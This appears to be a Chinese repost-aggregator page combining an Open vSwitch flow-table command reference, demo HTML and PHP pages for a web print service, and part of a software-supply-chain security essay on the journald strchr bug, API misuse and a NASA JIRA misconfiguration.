in_port=1,dl_dst=00:00:00:00:00:01/00:00:00:00:00:01,actions=output:2 1 2 4.匹配以太网类型,范围为0-65535 ovs-ofctl add-flow br0 in_port=1,dl_type=0x0806,actions=output:2 1 5.匹配源/目的IP 条件:指定dl_type=0x0800,或者ip/tcp ovs-ofctl add-flow br0 ip,in_port=1,nw_src=10.10.0.0/16,actions=output:2 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.20.0.0/16,actions=output:2 1 2 6.匹配协议号,范围为0-255 条件:指定dl_type=0x0800或者ip ICMP ovs-ofctl add-flow br0 ip,in_port=1,nw_proto=1,actions=output:2 7.匹配IP ToS/DSCP,tos范围为0-255,DSCP范围为0-63 条件:指定dl_type=0x0800/0x86dd,并且ToS低2位会被忽略(DSCP值为ToS的高6位,并且低2位为预留位) ovs-ofctl add-flow br0 ip,in_port=1,nw_tos=68,actions=output:2 ovs-ofctl add-flow br0 ip,in_port=1,ip_dscp=62,actions=output:2 8.匹配IP ecn位,范围为0-3 条件:指定dl_type=0x0800/0x86dd ovs-ofctl add-flow br0 ip,in_port=1,ip_ecn=2,actions=output:2 9.匹配IP TTL,范围为0-255 ovs-ofctl add-flow br0 ip,in_port=1,nw_ttl=128,actions=output:2 10.匹配tcp/udp,源/目的端口,范围为0-65535 匹配源tcp端口179 ovs-ofctl add-flow br0 tcp,tcp_src=179/0xfff0,actions=output:2 匹配目的tcp端口179 ovs-ofctl add-flow br0 tcp,tcp_dst=179/0xfff0,actions=output:2 匹配源udp端口1234 ovs-ofctl add-flow br0 udp,udp_src=1234/0xfff0,actions=output:2 匹配目的udp端口1234 ovs-ofctl add-flow br0 udp,udp_dst=1234/0xfff0,actions=output:2 11.匹配tcp flags tcp flags=fin,syn,rst,psh,ack,urg,ece,cwr,ns ovs-ofctl add-flow br0 tcp,tcp_flags=ack,actions=output:2 12.匹配icmp code,范围为0-255 条件:指定icmp ovs-ofctl add-flow br0 icmp,icmp_code=2,actions=output:2 13.匹配vlan TCI TCI低12位为vlan id,高3位为priority,例如tci=0xf123则vlan_id为0x123和vlan_pcp=7 ovs-ofctl add-flow br0 in_port=1,vlan_tci=0xf123,actions=output:2 14.匹配mpls label 条件:指定dl_type=0x8847/0x8848 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_label=7,actions=output:2 15.匹配mpls tc,范围为0-7 条件:指定dl_type=0x8847/0x8848 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_tc=7,actions=output:2 1 16.匹配tunnel id,源/目的IP 匹配tunnel id ovs-ofctl add-flow br0 in_port=1,tun_id=0x7/0xf,actions=output:2 匹配tunnel源IP ovs-ofctl add-flow br0 in_port=1,tun_src=192.168.1.0/255.255.255.0,actions=output:2 匹配tunnel目的IP ovs-ofctl add-flow br0 in_port=1,tun_dst=192.168.1.0/255.255.255.0,actions=output:2 一些匹配项的速记符 速记符 匹配项 ip dl_type=0x800 ipv6 dl_type=0x86dd icmp dl_type=0x0800,nw_proto=1 icmp6 dl_type=0x86dd,nw_proto=58 tcp dl_type=0x0800,nw_proto=6 tcp6 dl_type=0x86dd,nw_proto=6 udp dl_type=0x0800,nw_proto=17 udp6 dl_type=0x86dd,nw_proto=17 sctp dl_type=0x0800,nw_proto=132 sctp6 dl_type=0x86dd,nw_proto=132 arp dl_type=0x0806 rarp dl_type=0x8035 mpls dl_type=0x8847 mplsm dl_type=0x8848 指令动作 1.动作为出接口 从指定接口转发出去 ovs-ofctl add-flow br0 in_port=1,actions=output:2 1 2.动作为指定group group id为已创建的group table ovs-ofctl add-flow br0 in_port=1,actions=group:666 1 3.动作为normal 转为L2/L3处理流程 ovs-ofctl add-flow br0 in_port=1,actions=normal 1 4.动作为flood 从所有物理接口转发出去,除了入接口和已关闭flooding的接口 ovs-ofctl add-flow br0 in_port=1,actions=flood 1 5.动作为all 从所有物理接口转发出去,除了入接口 ovs-ofctl add-flow br0 in_port=1,actions=all 1 6.动作为local 一般是转发给本地网桥 ovs-ofctl add-flow br0 in_port=1,actions=local 1 7.动作为in_port 从入接口转发回去 ovs-ofctl add-flow br0 in_port=1,actions=in_port 1 8.动作为controller 以packet-in消息上送给控制器 ovs-ofctl add-flow br0 in_port=1,actions=controller 1 9.动作为drop 丢弃数据包操作 ovs-ofctl add-flow br0 in_port=1,actions=drop 1 10.动作为mod_vlan_vid 修改报文的vlan id,该选项会使vlan_pcp置为0 ovs-ofctl add-flow br0 in_port=1,actions=mod_vlan_vid:8,output:2 1 11.动作为mod_vlan_pcp 修改报文的vlan优先级,该选项会使vlan_id置为0 ovs-ofctl add-flow br0 in_port=1,actions=mod_vlan_pcp:7,output:2 1 12.动作为strip_vlan 剥掉报文内外层vlan tag ovs-ofctl add-flow br0 in_port=1,actions=strip_vlan,output:2 1 13.动作为push_vlan 在报文外层压入一层vlan tag,需要使用openflow1.1以上版本兼容 ovs-ofctl add-flow -O OpenFlow13 br0 in_port=1,actions=push_vlan:0x8100,set_field:4097-\>vlan_vid,output:2 1 ps: set field值为4096+vlan_id,并且vlan优先级为0,即4096-8191,对应的vlan_id为0-4095 14.动作为push_mpls 修改报文的ethertype,并且压入一个MPLS LSE ovs-ofctl add-flow br0 in_port=1,actions=push_mpls:0x8847,set_field:10-\>mpls_label,output:2 1 15.动作为pop_mpls 剥掉最外层mpls标签,并且修改ethertype为非mpls类型 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_label=20,actions=pop_mpls:0x0800,output:2 1 16.动作为修改源/目的MAC,修改源/目的IP 修改源MAC ovs-ofctl add-flow br0 in_port=1,actions=mod_dl_src:00:00:00:00:00:01,output:2 修改目的MAC ovs-ofctl add-flow br0 in_port=1,actions=mod_dl_dst:00:00:00:00:00:01,output:2 修改源IP ovs-ofctl add-flow br0 in_port=1,actions=mod_nw_src:192.168.1.1,output:2 修改目的IP ovs-ofctl add-flow br0 in_port=1,actions=mod_nw_dst:192.168.1.1,output:2 17.动作为修改TCP/UDP/SCTP源目的端口 修改TCP源端口 ovs-ofctl add-flow br0 tcp,in_port=1,actions=mod_tp_src:67,output:2 修改TCP目的端口 ovs-ofctl add-flow br0 tcp,in_port=1,actions=mod_tp_dst:68,output:2 修改UDP源端口 ovs-ofctl add-flow br0 udp,in_port=1,actions=mod_tp_src:67,output:2 修改UDP目的端口 ovs-ofctl add-flow br0 udp,in_port=1,actions=mod_tp_dst:68,output:2 18.动作为mod_nw_tos 条件:指定dl_type=0x0800 修改ToS字段的高6位,范围为0-255,值必须为4的倍数,并且不会去修改ToS低2位ecn值 ovs-ofctl add-flow br0 ip,in_port=1,actions=mod_nw_tos:68,output:2 1 19.动作为mod_nw_ecn 条件:指定dl_type=0x0800,需要使用openflow1.1以上版本兼容 修改ToS字段的低2位,范围为0-3,并且不会去修改ToS高6位的DSCP值 ovs-ofctl add-flow br0 ip,in_port=1,actions=mod_nw_ecn:2,output:2 1 20.动作为mod_nw_ttl 修改IP报文ttl值,需要使用openflow1.1以上版本兼容 ovs-ofctl add-flow -O OpenFlow13 br0 in_port=1,actions=mod_nw_ttl:6,output:2 1 21.动作为dec_ttl 对IP报文进行ttl自减操作 ovs-ofctl add-flow br0 in_port=1,actions=dec_ttl,output:2 1 22.动作为set_mpls_label 对报文最外层mpls标签进行修改,范围为20bit值 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_label:666,output:2 1 23.动作为set_mpls_tc 对报文最外层mpls tc进行修改,范围为0-7 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_tc:7,output:2 1 24.动作为set_mpls_ttl 对报文最外层mpls ttl进行修改,范围为0-255 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_ttl:255,output:2 1 25.动作为dec_mpls_ttl 对报文最外层mpls ttl进行自减操作 ovs-ofctl add-flow br0 in_port=1,actions=dec_mpls_ttl,output:2 1 26.动作为move NXM字段 使用move参数对NXM字段进行操作 将报文源MAC复制到目的MAC字段,并且将源MAC改为00:00:00:00:00:01 ovs-ofctl add-flow br0 in_port=1,actions=move:NXM_OF_ETH_SRC[]-\>NXM_OF_ETH_DST[],mod_dl_src:00:00:00:00:00:01,output:2 1 2 ps: 常用NXM字段参照表 NXM字段 报文字段 NXM_OF_ETH_SRC 源MAC NXM_OF_ETH_DST 目的MAC NXM_OF_ETH_TYPE 以太网类型 NXM_OF_VLAN_TCI vid NXM_OF_IP_PROTO IP协议号 NXM_OF_IP_TOS IP ToS值 NXM_NX_IP_ECN IP ToS ECN NXM_OF_IP_SRC 源IP NXM_OF_IP_DST 目的IP NXM_OF_TCP_SRC TCP源端口 NXM_OF_TCP_DST TCP目的端口 NXM_OF_UDP_SRC UDP源端口 NXM_OF_UDP_DST UDP目的端口 NXM_OF_SCTP_SRC SCTP源端口 NXM_OF_SCTP_DST SCTP目的端口 27.动作为load NXM字段 使用load参数对NXM字段进行赋值操作 push mpls label,并且把10(0xa)赋值给mpls label ovs-ofctl add-flow br0 in_port=1,actions=push_mpls:0x8847,load:0xa-\>OXM_OF_MPLS_LABEL[],output:2 对目的MAC进行赋值 ovs-ofctl add-flow br0 in_port=1,actions=load:0x001122334455-\>OXM_OF_ETH_DST[],output:2 1 2 3 4 28.动作为pop_vlan 弹出报文最外层vlan tag ovs-ofctl add-flow br0 in_port=1,dl_type=0x8100,dl_vlan=777,actions=pop_vlan,output:2 1 meter表 常用操作 由于meter表是openflow1.3版本以后才支持,所以所有命令需要指定OpenFlow1.3版本以上 ps: 在openvswitch-v2.8之前的版本中,还不支持meter 在v2.8版本之后已经实现,要正常使用的话,需要注意的是datapath类型要指定为netdev,band type暂时只支持drop,还不支持DSCP REMARK 1.查看当前设备对meter的支持 ovs-ofctl -O OpenFlow13 meter-features br0 2.查看meter表 ovs-ofctl -O OpenFlow13 dump-meters br0 3.查看meter统计 ovs-ofctl -O OpenFlow13 meter-stats br0 4.创建meter表 限速类型以kbps(kilobits per second)计算,超过20kb/s则丢弃 ovs-ofctl -O OpenFlow13 add-meter br0 meter=1,kbps,band=type=drop,rate=20 同上,增加burst size参数 ovs-ofctl -O OpenFlow13 add-meter br0 meter=2,kbps,band=type=drop,rate=20,burst_size=256 同上,增加stats参数,对meter进行计数统计 ovs-ofctl -O OpenFlow13 add-meter br0 meter=3,kbps,stats,band=type=drop,rate=20,burst_size=256 限速类型以pktps(packets per second)计算,超过1000pkt/s则丢弃 ovs-ofctl -O OpenFlow13 add-meter br0 meter=4,pktps,band=type=drop,rate=1000 5.删除meter表 删除全部meter表 ovs-ofctl -O OpenFlow13 del-meters br0 删除meter id=1 ovs-ofctl -O OpenFlow13 del-meter br0 meter=1 6.创建流表 ovs-ofctl -O OpenFlow13 add-flow br0 in_port=1,actions=meter:1,output:2 group表 由于group表是openflow1.1版本以后才支持,所以所有命令需要指定OpenFlow1.1版本以上 常用操作 group table支持4种类型 all:所有buckets都执行一遍 select: 每次选择其中一个bucket执行,常用于负载均衡应用 ff(FAST FAILOVER):快速故障修复,用于检测解决接口等故障 indirect:间接执行,类似于一个函数方法,被另一个group来调用 1.查看当前设备对group的支持 ovs-ofctl -O OpenFlow13 dump-group-features br0 2.查看group表 ovs-ofctl -O OpenFlow13 dump-groups br0 3.创建group表 类型为all ovs-ofctl -O OpenFlow13 add-group br0 group_id=1,type=all,bucket=output:1,bucket=output:2,bucket=output:3 类型为select ovs-ofctl -O OpenFlow13 add-group br0 group_id=2,type=select,bucket=output:1,bucket=output:2,bucket=output:3 类型为select,指定hash方法(5元组,OpenFlow1.5+) ovs-ofctl -O OpenFlow15 add-group br0 group_id=3,type=select,selection_method=hash,fields=ip_src,bucket=output:2,bucket=output:3 4.删除group表 ovs-ofctl -O OpenFlow13 del-groups br0 group_id=2 5.创建流表 ovs-ofctl -O OpenFlow13 add-flow br0 in_port=1,actions=group:2 goto table配置 数据流先从table0开始匹配,如actions有goto_table,再进行后续table的匹配,实现多级流水线,如需使用goto table,则创建流表时,指定table id,范围为0-255,不指定则默认为table0 1.在table0中添加一条流表条目 ovs-ofctl add-flow br0 table=0,in_port=1,actions=goto_table=1 2.在table1中添加一条流表条目 ovs-ofctl add-flow br0 table=1,ip,nw_dst=10.10.0.0/16,actions=output:2 tunnel配置 如需配置tunnel,必需确保当前系统对各tunnel的remote ip网络可达 gre 1.创建一个gre接口,并且指定端口id=1001 ovs-vsctl add-port br0 gre1 -- set Interface gre1 type=gre options:remote_ip=1.1.1.1 ofport_request=1001 2.可选选项 将tos或者ttl在隧道上继承,并将tunnel id设置成123 ovs-vsctl set Interface gre1 options:tos=inherit options:ttl=inherit options:key=123 3.创建关于gre流表 封装gre转发 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.10.0.0/16,actions=output:1001 解封gre转发 ovs-ofctl add-flow br0 in_port=1001,actions=output:1 vxlan 1.创建一个vxlan接口,并且指定端口id=2001 ovs-vsctl add-port br0 vxlan1 -- set Interface vxlan1 type=vxlan options:remote_ip=1.1.1.1 ofport_request=2001 2.可选选项 将tos或者ttl在隧道上继承,将vni设置成123,UDP目的端为设置成8472(默认为4789) ovs-vsctl set Interface vxlan1 options:tos=inherit options:ttl=inherit options:key=123 options:dst_port=8472 3.创建关于vxlan流表 封装vxlan转发 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.10.0.0/16,actions=output:2001 解封vxlan转发 ovs-ofctl add-flow br0 in_port=2001,actions=output:1 sflow配置 1.对网桥br0进行sflow监控 agent: 与collector通信所在的网口名,通常为管理口 target: collector监听的IP地址和端口,端口默认为6343 header: sFlow在采样时截取报文头的长度 polling: 采样时间间隔,单位为秒 ovs-vsctl -- --id=@sflow create sflow agent=eth0 target=\"10.0.0.1:6343\" header=128 sampling=64 polling=10 -- set bridge br0 sflow=@sflow 2.查看创建的sflow ovs-vsctl list sflow 3.删除对应的网桥sflow配置,参数为sFlow UUID ovs-vsctl remove bridge br0 sflow 7b9b962e-fe09-407c-b224-5d37d9c1f2b3 4.删除网桥下所有sflow配置 ovs-vsctl -- clear bridge br0 sflow 1 QoS配置 ingress policing 1.配置ingress policing,对接口eth0入流限速10Mbps ovs-vsctl set interface eth0 ingress_policing_rate=10000 ovs-vsctl set interface eth0 ingress_policing_burst=8000 2.清除相应接口的ingress policer配置 ovs-vsctl set interface eth0 ingress_policing_rate=0 ovs-vsctl set interface eth0 ingress_policing_burst=0 3.查看接口ingress policer配置 ovs-vsctl list interface eth0 4.查看网桥支持的Qos类型 ovs-appctl qos/show-types br0 端口镜像配置 1.配置eth0收到/发送的数据包镜像到eth1 ovs-vsctl -- set bridge br0 mirrors=@m \ -- --id=@eth0 get port eth0 \ -- --id=@eth1 get port eth1 \ -- --id=@m create mirror name=mymirror select-dst-port=@eth0 select-src-port=@eth0 output-port=@eth1 2.删除端口镜像配置 ovs-vsctl -- --id=@m get mirror mymirror -- remove bridge br0 mirrors @m 3.清除网桥下所有端口镜像配置 ovs-vsctl clear bridge br0 mirrors 4.查看端口镜像配置 ovs-vsctl get bridge br0 mirrors Open vSwitch中有多个命令,分别有不同的作用,大致如下: ovs-vsctl用于控制ovs db ovs-ofctl用于管理OpenFlow switch 的 flow ovs-dpctl用于管理ovs的datapath ovs-appctl用于查询和管理ovs daemon 转载于:https://www.cnblogs.com/liuhongru/p/10336849.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30876945/article/details/99916308。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-08 17:13:19
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} ] }, { "Name": "Table2", "Cols": [ { "type": "int", "size": 0, "name": "NO", "required": false }, { "type": "float", "size": 0, "name": "订单编号", "required": false }, { "type": "integer", "size": 0, "name": "下单日期", "required": false }, { "type": "str", "size": 255, "name": "下单平台", "required": false } ], "Data": [ { "NO": 1, "订单编号": 200303900791, "下单日期": "2017-01-20", "下单平台": "天猫" }, { "NO": 2, "订单编号": 200303900792, "下单日期": "2017-01-20", "下单平台": "京东" } ] } ] } 五、调用示例: <!-- ★★★ 模式1 ★★★ --> <!DOCTYPE html> <head> <meta charset="utf-8" /> <title>康虎云报表系统测试</title> </head> <body> <div style="width: 100%;text-align:center;"> <h2>康虎云报表系统</h2> <h3>打印测试(模式1)</h3> <div> <input type="button" id="btnPrint" value="打印" onClick="doSend(_reportData);" /> </div> </div> <div id="output"></div> </body> <script type="text/javascript"> //定义数据脚本 var _reportData = '{"template":"waybill.fr3","Cols":[{"type":"str","size":255,"name":"HAWB","required":false},<这里省略1000字> ]}'; //在浏览器控制台输出调试信息 console.log("reportData = " + _reportData); </script> <script language="javascript" type="text/javascript" src="cfprint.min.js"></script> <script language="javascript" type="text/javascript" src="cfprint_ext.js"></script> <script language="javascript" type="text/javascript"> /下面四个参数必须放在myreport.js脚本后面,以覆盖myreport.js中的默认值/ var _delay_send = 1000; //发送打印服务器前延时时长,-1则表示不自动打印 var _delay_close = 1000; //打印完成后关闭窗口的延时时长, -1则表示不关闭 var cfprint_addr = "127.0.0.1"; //打印服务器监听地址 var cfprint_port = 54321; //打印服务器监听端口 </script> </html> <!-- ★★★ 模式2 ★★★ --> <?php //如果有php运行环境,只需把该文件扩展名改成 .php,然后上传到web目录即可在真实服务器上测试 header("Access-Control-Allow-Origin: "); ?> <!DOCTYPE html> <head> <meta charset="utf-8" /> <title>康虎云报表系统测试</title> <style type="text/css"> output {font-size: 12px; background-color:F0FFF0;} </style> </head> <body> <div style="width: 100%;text-align:center;"> <h2>康虎云报表系统(Ver 1.3.0)</h2> <h3>打印测试(模式2)</h3> <div style="line-height: 1.5;"> <div style="width: 70%; text-align: left;"> <b>一、首先按下列步骤设置:</b><br/> 1、运行打印服务器;<br/> 2、按“停止”按钮停止服务;<br/> 3、打开“设置”区;<br/> 4、在“常用参数-->服务模式”中,选择“模式2”;<br/> 5、按“启动”按钮启动服务。 </div> <div style="width: 70%; text-align: left;"> <b>二、按本页的“打印”按钮开始打印。</b><br/> </div><br/> <input type="button" id="btnPrint" value="打印" /><br/><br/> <div style="width: 70%; text-align: left; font-size: 12px;"> 由于JavaScript在不同域名下访问会出现由来已久的跨域问题,所以正式部署到服务器使用时,要解决跨域问题。<br/> 对于IE8以上版本浏览器,只需增加一个reponse头:Access-Control-Allow-Origin即可,而对于php、jsp、asp/aspx等动态语言而言,增加一个response头是非常简单的事,例如:<br/> <b>在php:</b><br/><span style="color: red;"> <?php <br/> header("Access-Control-Allow-Origin: ");<br/> ?><br/> </span> <b>在jsp:</b><br/><span style="color: red;"> <% <br/> response.setHeader("Access-Control-Allow-Origin", ""); <br/> %><br/> </span> <b>在asp.net中:</b><br/><span style="color: red;"> Response.AppendHeader("Access-Control-Allow-Origin", ""); </span>,<br/>其他语言里,大家请自行搜索“ajax跨域”。而对于IE8以下的浏览器,大家可以自行搜索“IE6+Ajax+跨域”寻找解决办法吧,也可以联系我们帮助。 </div> </div> </div> <div id="output"></div> </body> <!-- 引入模式2所需的javascript支持库 --> <script type="text/javascript" src="cfprint_mode2.min.js" charset="UTF-8"></script> <!-- 构造报表数据 --> <script type="text/javascript"> var _reportData = '{"template":"waybill.fr3","ver":3, "Tables":[ {"Name":"Table1", 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CFPrint.parseJSON(responseText); alert(response.message+", 状态码["+response.result+"]"); }else{ alert('打印失败,HTTP状态代码是:'+httpStatus); } } / 参数: message: 错误信息 / var callbackFailed = function(message){ alert('发送打印任务出错: ' + message); } </script> <!-- 调用发送打印请求功能 --> <script type="text/javascript"> (function(){ document.getElementById("btnPrint").onclick = function() { CFPrint.outputid = "output"; //指定调试信息输出div的id CFPrint.SendRequest(_url, _reportData, callbackSuccess, callbackFailed); //发送打印请求 }; })(); </script> </html> 六、模板设计器(重要!重要!!,好多朋友都找不到设计器入口) 在主界面上,双击右下角的“设计”两个字,即可打开模板设计工具箱,在工具箱有三个按钮和一个大文本框。三个按钮的作用分别是: 设计:以大文本框中的json数据为数据源,打开模板设计器窗口; 预览:以大文本框中的json数据为数据源,预览当前所用模板的打印效果; 打印:以大文本框中的json数据为数据源,向打印机输出当前所用模板生成的报表; 以后将会有详细的模板设计教程发布,如果您遇到紧急的难题,请向作者咨询。 本篇文章为转载内容。原文链接:https://blog.csdn.net/chensongmol/article/details/76087600。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-01 18:34:12
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...隔符字符串中检索是否匹配,以此判断是否为间隔符;在240行,通过这样的判断,跳过记录单元字符串的头部连续空白字符。 但是问题在于,strchr这个极其基础的字符串处理函数,对于C字符串终止字符'\0'的处理上有个坑:'\0'也被认为是被检索字符串当中的一个有效字符。所以在240行,当当前扫描到的字符为字符串末尾的NULL时,strchr返回的是WHITESPACE常量字符串的终止位置而非NULL,这导致了越界。 看起来,这是一个典型的问题:API误用(API mis-use),只不过这个被误用的库函数有点太基础,让我忍不住想是不是还会有大量的类似漏洞……当然也反思我自己写的代码是不是也有同样情况,然而略一思考就释然了——我那么笨的代码都用for循环加if判断了:) 漏洞引入和消除历史 有意思的是,Qualys研究人员很贴心地替我做了一步漏洞成因溯源,这才是单独提这个漏洞的原因。漏洞的引入是在2015年的一个commit中: 在GitHub中,定位到上述2015年的commit信息,这里commit的备注信息为: journald: do not strip leading whitespace from messages. Keep leading whitespace for compatibility with older syslog implementations. Also useful when piping formatted output to the logger command. Keep removing trailing whitespace. OK,看起来是一个兼容性调整,对记录信息不再跳过开头所有连续空白字符,只不过用strchr的简洁写法比较突出开发者精炼的开发风格(并不),说得过去。 之后在2018年八月的一个当时尚未推正式版的另一次commit中被修复了,先是还原成了ec5ff4那次commit之前的写法,然后改成了加校验的方式: 虽然Qualys研究者认为上述的修改是“无心插柳”的改动,但是在GitHub可以看到,a6aadf这次commit是因为有外部用户反馈了输入数据为单个冒号情况下journald堆溢出崩溃的issue,才由开发者有目的性地修复的;而之后在859510这个commit再次改动回来,理由是待记录的消息都是使用单个空格作为间隔符的,而上一个commit粗暴地去掉了这种协议兼容性特性。 如果没有以上纠结的修改和改回历史,也许我会倾向于怀疑,在最开始漏洞引入的那个commit,既然改动代码没有新增功能特性、没有解决什么问题(毕竟其后三年,这个改动的代码也没有被反映issue),也并非出于代码规范等考虑,那么这么轻描淡写的一次提交,难免有人为蓄意引入漏洞的嫌疑。当然,看到几次修复的原因,这种可能性就不大了,虽然大家仍可以保留意见。但是抛开是否人为这个因素,单纯从代码的漏洞成因看,一个传统但躲不开的问题仍值得探讨:API误用。 API误用:程序员何苦为难程序员 如果之前的章节给读者留下了我反对代码模块化和复用的印象,那么这里需要正名一下,我们认可这是当下开发实践不可避免的趋势,也增进了社会开发速度。而API的设计决定了写代码和用代码的双方“舒适度”的问题,由此而来的API误用问题,也是一直被当做单纯的软件工程课题讨论。在此方面个人并没有什么研究,自然也没办法系统地给出分类和学术方案,只是谈一下自己的经验和想法。 一篇比较新的学术文章总结了API误用的研究,其中一个独立章节专门分析Java密码学组件API误用的实际,当中引述之前论文认为,密码学API是非常容易被误用的,比如对期望输入数据(数据类型,数据来源,编码形式)要求的混淆,API的必需调用次序和依赖缺失(比如缺少或冗余多次调用了初始化函数、主动资源回收函数)等。凑巧在此方面我有一点体会:曾经因为业务方需要,需要使用C++对一个Java的密码基础中间件做移植。Java对密码学组件支持,有原生的JDK模块和权威的BouncyCastle包可用;而C/C++只能使用第三方库,考虑到系统平台最大兼容和最小代码量,使用Linux平台默认自带的OpenSSL的密码套件。但在开发过程中感受到了OpenSSL满满的恶意:其中的API设计不可谓不反人类,很多参数没有明确的说明(比如同样是表示长度的函数参数,可能在不同地方分别以字节/比特/分组数为计数单位);函数的线程安全没有任何解释标注,需要自行试验;不清楚函数执行之后,是其自行做了资源释放还是需要有另外API做gc,不知道资源释放操作时是否规规矩矩地先擦除后释放……此类问题不一而足,导致经过了漫长的测试之后,这份中间件才提供出来供使用。而在业务场景中,还会存在比如其它语言调用的情形,这些又暴露出来OpenSSL API误用的一些完全无从参考的问题。这一切都成为了噩梦;当然这无法为我自己开解是个不称职开发的指责,但仅就OpenSSL而言其API设计之恶劣也是始终被人诟病的问题,也是之后其他替代者宣称改进的地方。 当然,问题是上下游都脱不了干系的。我们自己作为高速迭代中的开发人员,对于二方、三方提供的中间件、API,又有多少人能自信地说自己仔细、认真地阅读过开发指南和API、规范说明呢?做过通用产品技术运营的朋友可能很容易理解,自己产品的直接用户日常抛出不看文档的愚蠢问题带来的困扰。对于密码学套件,这个问题还好办一些,毕竟如果在没有背景知识的情况下对API望文生义地一通调用,绝大多数情况下都会以抛异常形式告终;但还是有很多情况,API误用埋下的是长期隐患。 不是所有API误用情形最终都有机会发展成为可利用的安全漏洞,但作为一个由人的因素引入的风险,这将长期存在并困扰软件供应链(虽然对安全研究者、黑客与白帽子是很欣慰的事情)。可惜,传统的白盒代码扫描能力,基于对代码语义的理解和构建,但是涉及到API则需要预先的抽象,这一点目前似乎仍然是需要人工干预的事情;或者轻量级一点的方案,可以case by case地分析,为所有可能被误用的API建模并单独扫描,这自然也有很强局限性。在一个很底层可信的开发者还对C标准库API存在误用的现实内,我们需要更多的思考才能说接下来的解法。 Ⅴ. 从规则到陷阱:NASA JIRA误配置致信息泄露血案 软件的定义包括了代码组成的程序,以及相关的配置、文档等。当我们说软件的漏洞、风险时,往往只聚焦在其中的代码中;关于软件供应链安全风险,我们的比赛、前面分析的例子也都聚焦在了代码的问题;但是真正的威胁都来源于不可思议之处,那么代码之外有没有可能存在来源于上游的威胁呢?这里就借助实例来探讨一下,在“配置”当中可能栽倒的坑。 引子:发不到500英里以外的邮件? 让我们先从一个轻松愉快的小例子引入。这个例子初见于Linux中国的一篇译文。 简单说,作者描述了这么一个让人啼笑皆非的问题:单位的邮件服务器发送邮件,发送目标距离本地500英里范围之外的一律失败,邮件就像悠悠球一样只能飞出一定距离。这个问题本身让描述者感到尴尬,就像一个技术人员被老板问到“为什么从家里笔记本上Ctrl-C后不能在公司台式机上Ctrl-V”一样。 经过令人窒息的分析操作后,笔者定位到了问题原因:笔者作为负责的系统管理员,把SunOS默认安装的Senmail从老旧的版本5升级到了成熟的版本8,且对应于新版本诸多的新特性进行了对应配置,写入配置文件sendmail.cf;但第三方服务顾问在对单位系统进行打补丁升级维护时,将系统软件“升级”到了系统提供的最新版本,因此将Sendmail实际回退到了版本5,却为了软件行为一致性,原样保留了高版本使用的配置文件。但Sendmail并没有在大版本间保证配置文件兼容性,这导致很多版本5所需的配置项不存在于保留下来的sendmail.cf文件中,程序按默认值0处理;最终引起问题的就是,邮件服务器与接收端通信的超时时间配置项,当取默认配置值0时,邮件服务器在1个单位时间(约3毫秒)内没有收到网络回包即认为超时,而这3毫秒仅够电信号打来回飞出500英里。 这个“故事”可能会给技术人员一点警醒,错误的配置会导致预期之外的软件行为,但是配置如何会引入软件供应链方向的安全风险呢?这就引出了下一个重磅实例。 JIRA配置错误致NASA敏感信息泄露案例 我们都听过一个事情,马云在带队考察美国公司期间问Google CEO Larry Page自视谁为竞争对手,Larry的回答是NASA,因为最优秀的工程师都被NASA的梦想吸引过去了。由此我们显然能窥见NASA的技术水位之高,这样的人才团队大概至少是不会犯什么低级错误的。 但也许需要重新定义“低级错误”……1月11日一篇技术文章披露,NASA某官网部署使用的缺陷跟踪管理系统JIRA存在错误的配置,可分别泄漏内部员工(JIRA系统用户)的全部用户名和邮件地址,以及内部项目和团队名称到公众,如下: 问题的原因解释起来也非常简单:JIRA系统的过滤器和配置面板中,对于数据可见性的配置选项分别选定为All users和Everyone时,系统管理人员想当然地认为这意味着将数据对所有“系统用户”开放查看,但是JIRA的这两个选项的真实效果逆天,是面向“任意人”开放,即不限于系统登录用户,而是任何查看页面的人员。看到这里,我不厚道地笑了……“All users”并不意味着“All ‘users’”,意不意外,惊不惊喜? 但是这种字面上把戏,为什么没有引起NASA工程师的注意呢,难道这样逆天的配置项没有在产品手册文档中加粗标红提示吗?本着为JIRA产品设计找回尊严的态度,我深入挖掘了一下官方说明,果然在Atlassian官方的一份confluence文档(看起来更像是一份增补的FAQ)中找到了相关说明: 所有未登录访客访问时,系统默认认定他们是匿名anonymous用户,所以各种权限配置中的all users或anyone显然应该将匿名用户包括在内。在7.2及之后版本中,则提供了“所有登录用户”的选项。 可以说是非常严谨且贴心了。比较讽刺的是,在我们的软件供应链安全大赛·C源代码赛季期间,我们设计圈定的恶意代码攻击目标还包括JIRA相关的敏感信息的窃取,但是却想不到有这么简单方便的方式,不动一行代码就可以从JIRA中偷走数据。 软件的使用,你“配”吗? 无论是开放的代码还是成型的产品,我们在使用外部软件的时候,都是处于软件供应链下游的消费者角色,为了要充分理解上游开发和产品的真实细节意图,需要我们付出多大的努力才够“资格”? 上一章节我们讨论过源码使用中必要细节信息缺失造成的“API误用”问题,而软件配置上的“误用”问题则复杂多样得多。从可控程度上讨论,至少有这几种因素定义了这个问题: ·软件用户对必要配置的现有文档缺少了解。这是最简单的场景,但又是完全不可避免的,这一点上我们所有有开发、产品或运营角色经验的应该都曾经体会过向不管不顾用户答疑的痛苦,而所有软件使用者也可以反省一下对所有软件的使用是否都以完整细致的文档阅读作为上手的准备工作,所以不必多说。 